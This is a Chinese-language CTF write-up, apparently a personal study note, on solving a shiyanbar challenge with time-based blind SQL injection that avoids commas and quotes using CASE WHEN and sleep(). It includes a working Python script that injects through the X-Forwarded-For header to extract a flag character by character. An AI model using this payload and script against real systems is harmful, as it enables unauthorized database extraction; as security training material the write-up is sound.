之前遇到延时注入不太理解就放过了,果然遇到的问题不解决就会在不久的将来就让你后悔没学习,好了,这是实验吧的一个题目http://ctf5.shiyanbar.com/web/wonderkun/index.php
经过测试发现逗号后面的内容会被截断,那么注入的时候就不能用逗号了,看了大神的writeup之后决定做个笔记来记录基于时间注入的语句,首次在http://blog.csdn.net/bear_n/article/details/53057716
这里看到了这样的语句,if(条件1,条件2,条件3)如果条件1成立就执行条件2,如果条件1不成立条件2成立就执行条件3,于是在注入时我们可以构造这样的语句if(((length database())>0),1,sleep(5)),当测试语句为真时立刻回显,为假时过5秒再回显,这样就可以为盲注提供依据了。这里过滤了单引号自然不能用这个语句了,但是方法总是多种多样的,
第二个语法,select case when() then do else 1 end 这样就是如果条件成立就过5秒执行,否则直接执行,都是相同的道理啊,这样就避免了单引号的出现,于是有了下面的脚本(参考自http://www.jianshu.com/p/5d34b3722128)
#coding:utf-8
import requests
import string
s=requests.session()
url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"
flag=''
guess=string.lowercase+string.uppercase+string.digits
for i in range(33):
for st in guess:
headers={"x-forwarded-for":"1'+"+"(select case when(substr((select flag from flag) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1" %(i,st)}
try:
res=s.get(url,headers=headers,timeout=4)
except requests.exceptions.ReadTimeout:
flag+=st
print "flag:",flag
break
print "result:"+flag
这里记录一下我的理解,guess里存放着大小写字母和数字,在when()里的substr用的是from %d for 1,和substr(xx,1,1)是一个道理,同样避免了单引号,在接下来是异常处理,设置超时时间为4秒,requests.exceptions.ReadTimeout:为捕获异常,当超过4秒时捕获,所以有了最后的flag